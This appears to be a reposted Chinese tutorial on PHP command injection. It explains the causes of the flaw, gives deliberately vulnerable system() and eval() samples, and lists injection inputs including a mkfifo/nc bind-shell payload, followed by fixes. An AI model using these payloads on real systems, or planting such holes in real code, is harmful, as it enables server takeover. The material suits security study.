命令執行漏洞


命令執行

應用有時需要調用一些執行系統命令的函數,如PHP中的system、exec、shell_exec、
passthru、popen、proc_popen等,當用戶能控制這些函數中的參數時,就可以將惡意系統命令
拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。

 

利用條件

    1.應用調用執行系統命令的函數
    2.將用戶輸入作為系統命令的參數拼接到了命令行中
    3.沒有對用戶輸入進行過濾或過濾不嚴

 

漏洞分類

    1 代碼層過濾不嚴
    2 商業應用的一些核心代碼封裝在二進制文件中,在web應用中通過system函數來調用:
    3 system("/bin/program --arg $arg");
    4 系統的漏洞造成命令注入
    5 bash破殼漏洞(CVE-2014-6271)
    6 調用的第三方組件存在代碼執行漏洞
    7 如WordPress中用來處理圖片的ImageMagick組件
    8 JAVA中的命令執行漏洞(struts2/ElasticsearchGroovy等)
    9 ThinkPHP命令執行

 

漏洞危害

   1 繼承Web服務程序的權限去執行系統命令或讀寫文件
   2 反彈shell
   3 控制整個網站甚至控制服務器
   4 進一步內網滲透

 

漏洞可能代碼(以system為例)

1. system("$arg");  //直接輸入即可
2. system("/bin/prog $arg");  //直接輸入;ls
3. system("/bin/prog -p $arg");  //和2一樣
4. system("/bin/prog --p=\"$arg\"");  //可以輸入";ls;"
5. system("/bin/prog --p='$arg'");  //可以輸入';ls;'

 

在Linux上,上面的;也可以用|、||代替
    ;前面的執行完執行后面的
 |是管道符,顯示后面的執行結果 ||當前面的執行出錯時執行后面的 在Windows上,不能用;可以用&、&&、|、||代替
 &前面的語句為假則直接執行后面的 &&前面的語句為假則直接出錯,后面的也不執行 |直接執行后面的語句 ||前面出錯執行后面的

 

漏洞示例

示例一

<?php
$arg = $_GET['cmd'];
if ($arg) {
system("$arg");
}
?>

 

示例二

<?php
    $arg = $_GET['cmd'];
    if ($arg) {
        system("ping -c 3 $arg");
    }
?>

 

示例三

<?php
$arg = $_GET['cmd'];
if ($arg) {
system("ls -al "$arg"");
}

注:若引號被轉義,則可以用<b>\`id\`</b>來執行

 

示例四

<?php
    $arg = $_GET['cmd'];
    if ($arg) {
        system("ls -al '$arg'");
    }
?>

 

漏洞利用

  • 代碼執行:
    在cmd.php中的代碼如下:
<?php
    eval($_REQUEST['code']);
?>

 提交http://localhost/cmd.php?code=phpinfo() 后就會執行phpinfo()

 

  • 動態函數調用
    在cmd.php中的代碼如下:
<?php
    $fun = $_GET['fun'];
    $par = $_GET['par'];
    $fun($par);
?>

 提交http://localhost/cmd.php?fun=system&par=net user,最終執行的是system("net user")

 

  • linux反彈一個shell

 

提交參數: 

x;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe 

 

然后連接: 

nc remote.ip 4444

 

 

漏洞修復

  1. 盡量少用執行命令的函數或者直接禁用
  2. 參數值盡量使用引號包括
  3. 在使用動態函數之前,確保使用的函數是指定的函數之一
  4. 在進入執行命令的函數/方法之前,對參數進行過濾,對敏感字符進行轉義
<?php
    $arg = $_GET['cmd'];
    // $arg = addslashes($arg);
    $arg = escapeshellcmd($arg);  //拼接前就處理
    if ($arg) {
        system("ls -al '$arg'");
    }
?>

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM